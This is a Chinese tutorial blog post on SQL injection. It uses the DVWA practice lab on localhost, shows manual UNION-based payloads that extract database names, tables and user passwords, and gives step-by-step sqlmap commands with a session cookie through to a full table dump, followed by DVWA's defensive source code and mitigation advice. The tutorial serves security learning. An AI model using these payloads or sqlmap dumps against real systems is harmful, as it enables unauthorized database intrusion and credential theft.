自学渗透测试:使用 DVWA 和 SQLmap 探寻 SQL 注入攻击与防范
数据来源
本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
01 耳熟能详的SQ注入是什么?
关于SQL注入漏洞,维基百科是这样解释的
SQL注入(英语:SQL injection),也称sαL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检査,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
先了解SQL是什么?
SQL: Structured Query Language 结构化查询语言
隐患严重的漏洞 - SQL injection
select ticket_num from Movie_data where movie_name='长津湖'
select ticket_num from Movie_data where movie_name='长津湖' order by 1 #
02 这个SQL漏洞我们如何利用?
1)打开DVWA靶场
2)将安全等级调到最低-low
3)选择SQL注入
4)如何利用漏洞?首先查看开发人员是如何写的这SQL语句
代码解析:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
SQL injection low:怎样判断sq注入漏洞呢?
代码中的蓝色字体代表开发者写的,红色字体是用户输入
【# 作用移除后面的sql语句,防止后面其他语句影响攻击测试】
测试一下,输入:1'and 1 = 1#
现在把1=1改成1=2再测试一下
5)利用SQL漏洞,一般步骤如下:
1. 判断列/字段数 order by [列数] # ORDER BY是SQL 的排序子句
2. 联合查询其他信息 union select [sql1] [sql2]
1' union select user(),database()#
3. 联合查询表 union select table_name, table_schema from information_schema.tables where table_schema= ' [数据库名称]'
1' union select table_name, table_schema from information_schema.tables where table_schema='dvwa'#'
注意:information_schema数据库是一个默认的数据库,mysql5.0以上都会存在
4. 联合查询信息 union[ 查询sql]
1' union select user,password from users#
03 sqlmap功能及应用 (SQLmap 把复杂的利用过程自动化 )
SQLmap官网:https://sqlmap.org/
中文手册
Sqlmap中文手册_Werneror的博客-CSDN博客_88xx.info
Releases · kvko/sqlmap-wiki-zhcn · GitHub
检测漏洞
枚举数据库
枚举数据表
hetianlab 是上一步爆出的数据库名
枚举数据表列
脱库(慎用,这个操作没有经过数据库主人允许是犯法的)
简单利用过程:(我这里使用kali虚拟机在dvwa靶场上演示)
kali上部署dvwa漏洞测试平台 - -零 - 博客园
kali上部署dvwa漏洞测试平台 - 走看看
- 打开kali系统在命令行输入sqlmap测试一下
- 如果不想在kali安装靶场也可以使用win7的IP在kali系统的浏览器内登
输入sqlmap测试一下
打开DVWA靶场
首先:命令行启动apache2和mysql服务(如果你是使用win7系统登录,就忽略这一步)
service apache2 start # 启动apache2
service mysql start # 启动mysql
然后在浏览器输入:http://127.0.0.1/dvwa/ 登录
第一步:检测漏洞
sqlmap -u "要检查的网址" --cookie ="网站登录后,后端返回的cookie值" # cookie值如何获取请往下翻(cookie 就是个登录凭证,证明你已经登录了他们网站)
获取要测试的URL
cookie 的作用:告诉软件你已经登录了,如何获取网站的cookie?
回到网址按:F12 # 进入开发者模式
拿到了网址地址和cookie后,就可以粘贴到kali的命令行中运行命令:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low"
扫扫描结果:有SQL漏洞,数据库是MySQL且版本大于>=5.0.12 (mysql数据库大于5.0版本就会存在默认的数据库:information_schema)
第二步:获取数据库名
在第一步检测的的命令后面加上:--dbs # database server获取所有数据库名
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" --dbs
第三步:获取指定数据库表
在第一步检测的的命令后面加上: -D 数据库名称 --tables # -D(Database)指定想要获取的数据库名,--tables 枚举(遍历)DBMS数据库中的表
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" -D dvwa --tables
第四步:获取指定数据库列/表项
在第一步检测的的命令后面加上:-D 数据库名 -T 数据库的表名 --columns # --columns 列出表项/例
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" -D dvwa -T users --columns
第五步:获取数据
把第四步命令后面的--columns换成:--dump # 读取数据
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" -D dvwa -T users --dump
是否需要破解,列数据中加密的内容,我选了:y
图片来源
SQL Injection(注入) 防御
防御 medium (中级、中等)
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);switch ($_DVWA['SQLI_DB']) {case MYSQL:$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}break;case SQLITE:global $sqlite_db_connection;$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";#print $query;try {$results = $sqlite_db_connection->query($query);} catch (Exception $e) {echo 'Caught exception: ' . $e->getMessage();exit();}if ($results) {while ($row = $results->fetchArray()) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}} else {echo "Error in fetch ".$sqlite_db->lastErrorMsg();}break;}
}// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]);
?>
但是现在的安全等级是中级,还是存在漏洞的
防御 high (高级)
按照上面的方法调为高级即可
<?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break;case SQLITE:global $sqlite_db_connection;$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";#print $query;try {$results = $sqlite_db_connection->query($query);} catch (Exception $e) {echo 'Caught exception: ' . $e->getMessage();exit();}if ($results) {while ($row = $results->fetchArray()) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}} else {echo "Error in fetch ".$sqlite_db->lastErrorMsg();}break;}
}?>
防御 impossible(不可能被攻击的)
<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {$id = intval ($id);switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}break;case SQLITE:global $sqlite_db_connection;$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result = $stmt->execute();$result->finalize();if ($result !== false) {// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns = $result->numColumns();if ($num_columns == 2) {$row = $result->fetchArray();// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}break;}}
}// Generate Anti-CSRF token
generateSessionToken();?>
其他防御措施
- 对输入数据进行验证和过滤:应该验证所有用户提供的数据,包括表单、Cookie 和 URL 参数等,确保它们是符合预期格式的。例如,检查输入是否只包含可接受的字符,并确保任何 SQL 关键字都被转义或删除。
- 使用参数化查询:在构建 SQL 查询时,应该使用参数化查询而不是内插字符串。参数化查询是把查询分成两部分:SQL 命令本身和与之绑定的参数。这样做有助于避免注入攻击和其它常见安全问题,因为它强制开发人员使用安全的编码实践,同时提供内置的转义和防御机制。
- 降低数据库权限:将应用程序访问数据库的权限限制到最小必要级别。尽可能使用最小化的权限来避免敏感数据泄露或损坏。此外,避免直接使用管理员账户连接到数据库服务器。
- 更新和修补应用程序:保持 Web 应用程序和相关组件(如数据库系统和服务器软件)的更新状态非常重要,以便及时修复已知安全漏洞。及时升级操作系统和安装防病毒软件也能提高 Web 应用程序的安全性。
- 安全配置 Web 服务器:应该确保 Web 服务器的文件系统和数据库不可通过网络直接访问,只允许需要的服务(例如 web 或数据库服务)开放对外访问,也可以考虑使用 WAF 等网络安全设备进行综合防御。
- 在集成测试中加入安全扫描:及时发现并修复安全漏洞是很重要的,而这个过程应尽可能始于应用程序的设计之初。在每次的迭代周期中,应该纳入单元测试和集成测试以及安全扫描等环节,对应用程序和系统进行全方位的评估,加固安全性。
开发人员和管理员应该了解有关 SQL 注入攻击的基础知识,并严格遵守相关安全标准和最佳实践。
自学渗透测试:使用 DVWA 和 SQLmap 探寻 SQL 注入攻击与防范相关推荐
- 【渗透测试案例】——Web前端的SQL注入是怎么回事?
目录 写在前面 1. 网站分析 2. 初步探测 3. 注入sql测试 4.获取查询长度
- Kali渗透测试:使用Metasploit对Web应用的攻击
Kali渗透测试:使用Metasploit对Web应用的攻击 Web应用程序的漏洞数量众多,这里我们以其中一个命令注入漏洞为例复现一下.这种漏洞源于Web应用程序没有对用户输入的内容进行准确的验证,从 ...
- 渗透测试笔记(三)——SQL注入攻击及防御(1)
SQL注入危害 程序没有细致的过滤用户输入的数据,致使非法数据侵入系统. 1.对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL.SQL Server.Oracle等: 2.通过SQL ...
- SQL注入攻击及防御 手动注入+sqlmap自动化注入实战(网络安全学习12)
CONTENTS 1 项目实验环境 2 SQL注入概述 2.1 SQL注入简介 2.2 SQL注入的危害 3 SQL基础回顾 3.1 联合查询union 3.2 information_schema数 ...
- 使用sqlmap检测sql注入漏洞
一. sql注入概述并安装sqlmap漏洞查看工具 1. sql注入概述 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命 ...
- sqlmap注入教程linux,Linux Sqlmap检测sql注入漏洞工具安装使用教程
Sqlmap工具 什么是SQLmap? SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹.访问底层文件系统.执行命令) sql注 ...
- Sqlmap查找SQL注入漏洞入门
Sqlmap查找SQL注入漏洞入门 1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使 ...
- SQL 注入攻击介绍与测试案例
博主声明: 转载请在开头附加本文链接及作者信息,并标记为转载.本文由博主 威威喵 原创,请多支持与指教. 本文首发于此 博主:威威喵 | 博客主页:https://blog.csdn.net/ ...
- DVWA 不跳转_渗透测试入门-DVWA应用渗透软件安装与使用
简介:DVWA是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用程序,其主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具,帮助运维人员掌握基本的安全测试知识,帮助Web开发人员更 ...
最新文章
- MySQL数据库的终结_MySQL数据库秘籍终结 对不起了 让你们自宫了 其实不消哈哈哈...
- VTK:几何对象之Hexahedron
- python爬虫抓取51cto博客大牛的文章保存到MySQL数据库
- 转义字符html识别吗,HTML_谈谈html转义字符如何通过代码识别,偶尔会在数据中看到诸如#3 - phpStudy...
- 多线程的那点儿事(之多线程调试)
- 调用android自带的下载功能,进度在消息通知栏上显示
- python设置字符编码_python字符编码问题一则
- 知识竞赛的环节主题文件准备的四大步骤及重要提示
- 易会满重磅发声!新证券法将给资本市场带来哪些新变化?证监会职责定位有何新要求?...
- ARCore1.2使用入门(一) ------ 将ARCore案例打包成Android/iOS运行测试(unity开发)
- 阿里国际站出口通升级金品诚企详细流程
- Pytorch中Conv2d的使用
- 英文网站建设应该如何做?如何建好一个英文网站?
- win7激活成功 但每次开机后又显示此windows副本不是正版的解决办法
- 2021年我与我家公主的五一小长假---游记
- js: 字符(字母) 与 ASCII码 转换方法
- 淘宝,天猫获取sku详细信息 API
- 2.6亿孤独灵魂能否听出一座喜马拉雅
- 【科研小工具】输入任意坐标即可显示相应脑区详细解剖信息
- [刷题]leetcode\35_搜索插入位置